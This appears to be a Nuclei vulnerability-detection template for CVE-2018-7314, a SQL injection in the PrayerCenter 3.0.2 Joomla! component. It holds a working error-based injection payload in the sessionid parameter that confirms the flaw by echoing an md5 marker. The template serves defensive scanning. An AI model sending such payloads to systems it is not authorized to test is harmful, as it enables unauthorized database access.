id: CVE-2018-7314

info:
  name: Joomla! Component PrayerCenter 3.0.2 - SQL Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    SQL Injection exists in the PrayerCenter 3.0.2 component for Joomla! via the sessionid parameter, a different vulnerability than CVE-2008-6429.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL commands to access, modify, or delete database contents, potentially compromising the entire Joomla installation.
  remediation: |
    Remove the vulnerable PrayerCenter component or upgrade to a patched version.
  reference:
    - https://www.exploit-db.com/exploits/44160
    - https://github.com/jweny/pocassistdb
    - https://github.com/0ps/pocassistdb
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7314
    cwe-id: CWE-89
    epss-score: 0.58373
    epss-percentile: 0.99004
    cpe: cpe:2.3:a:mlwebtechnologies:prayercenter:3.0.2:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: mlwebtechnologies
    product: prayercenter
    framework: joomla\!
    fofa-query:
      - app="Joomla!-网站安装"
      - app="joomla!-网站安装"
  tags: cve,cve2018,joomla,sqli,mlwebtechnologies,vkev,vuln
variables:
  num: "{{rand_int(800000000, 1000000000)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{num}})))-- X"

    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
# digest: 490a0046304402203dbf45c29e95f3bd0365a5dc1818e4b0e0dc8be9ba9e0d3344eba0adbf4bf794022044ab27a83fee72916fbf28f08f8d7349ae942fc88ec4304e7acd6ef1beda14ad:922c64590222798bb761d5b6d8e72950